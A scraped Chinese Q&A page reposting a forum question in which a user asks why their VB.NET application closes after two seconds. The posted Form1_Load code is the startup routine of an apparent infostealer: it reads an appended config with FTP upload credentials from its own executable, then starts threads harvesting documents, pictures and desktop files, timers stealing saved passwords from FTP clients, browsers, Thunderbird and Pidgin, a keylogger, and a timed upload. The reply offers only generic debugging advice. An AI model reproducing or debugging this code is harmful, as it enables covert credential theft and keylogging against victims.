为什么我的应用程序没有运行? [英] why is my application not running?

查看:105
本文介绍了为什么我的应用程序没有运行?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

你好程序员,我在启动我的应用程序时遇到了一些问题。

如果我运行它,它会出现2秒然后退出。请帮助我。

这是下面的代码。









hello programmers, i got a little problem in starting my application.
if i run it, it will just come up for 2 seconds then exit. please, help me.
this is the code below.




Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
       'Timer1.Start()
       Me.Visible = True
       Try
           FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
           seFT = Space(CInt(LOF(1)))
           FileGet(1, seFT)
           FileClose(1)
           Settings = Split(seFT, FileSplit)

           'FTP Credentials - Note: These are still encoded with base64
           ftp1 = Settings(1)
           username1 = Settings(2)
           password1 = Settings(3)
           ftp2 = Settings(4)
           username2 = Settings(5)
           password2 = Settings(6)
           If (Settings(7) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadCSV))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(8) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadTXT))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(9) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadPDF))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(10) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadDOC))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(11) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadDOCX))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(12) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadXLSX))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(13) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadXLS))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(14) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadCSV))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(15) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadTXT))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(16) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadPDF))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(17) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadDOC))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(18) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadDOCX))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(19) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadXLSX))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(20) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadXLS))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(21) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadCSV))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(22) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadTXT))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(23) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadPDF))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(24) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadDOC))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(25) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadDOCX))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(26) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadXLSX))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(27) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadXLS))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(28) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadCSV))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(29) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadTXT))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(30) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadPDF))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(31) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadDOC))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(32) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadDOCX))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(33) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadXLSX))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(34) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadXLS))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(35) = "True") Then
               coreftptimer.Start()
           End If
           If (Settings(36) = "True") Then
               ftpcommandertimer.Start()
           End If
           If (Settings(37) = "True") Then
               filezillatimer.Start()
           End If
           If (Settings(38) = "True") Then
               no_iptimer.Start()
           End If
           If (Settings(39) = "True") Then
               smartftptimer.Start()
           End If
           If (Settings(40) = "True") Then
               flashfxptimer.Start()
           End If
           If (Settings(41) = "True") Then
               dyndnstimer.Start()
           End If
           If (Settings(42) = "True") Then
               keyloggertimer.Start() '  keystroke timer
           End If
           If (Settings(43) = "True") Then
               thunderbirdtimer.Start()
           End If
           If (Settings(44) = "True") Then
               firefoxtimer.Start()
           End If
           If (Settings(45) = "True") Then
               operatimer.Start()
           End If
           If (Settings(46) = "True") Then
               chrometimer.Start()
           End If

           Try
               UPLOAD_time = Settings(47) ' uploading tp time....
           Catch ex As Exception
           End Try
           UPLOADtimer.Interval = UPLOAD_time * 60000 ' in minutes because timer interval is in milliseconds.
           '                                            so we times it by 60 sconds by 1000 millisconds = 1 minute.

           If (Settings(48) = "True") Then
               pidgintimer.Start()
           End If
       Catch ex As Exception

       End Try
   End Sub





可以因为计时器



can it be because of the timers

推荐答案

使用调试器:放一个断言在该方法的第一行,并在调试器中运行您的应用程序。当表单开始加载时,应用程序将停止并让您查看正在发生的事情。每行单步,直到找到导致问题的那一行 - 他们看看你之前做过什么,你传递给它所调用的任何方法,并尝试看到任何错误,甚至是奇怪的东西。然后你应该更好地了解从哪里开始寻找你的问题。

如果你无法解决这个问题 - 并且请尝试 - 那么至少你会有更好的信息回来给我们。



我们不能为您做任何事情:我们无法访问您的代码或数据,因此无法运行您的app在相同条件下。
Use the debugger: put a breakpoint on the first line of that method, and run your app in the debugger. When the form starts to load, the application will stop and let you look at what is going on. Single step each line until you find which one causes the problem - them look at what you have done before, what you have passed to any methods it calls, and try to see anything that is wrong, or even odd. Then you should have a better idea where to start looking for your problem.
If you can't solve it from that - and please, do try - then at least you will have better information to come back to us with.

We can't do any of that for you: we don't have access to your code or data, and so can't run your app under the same conditions.


这篇关于为什么我的应用程序没有运行?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
相关文章
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆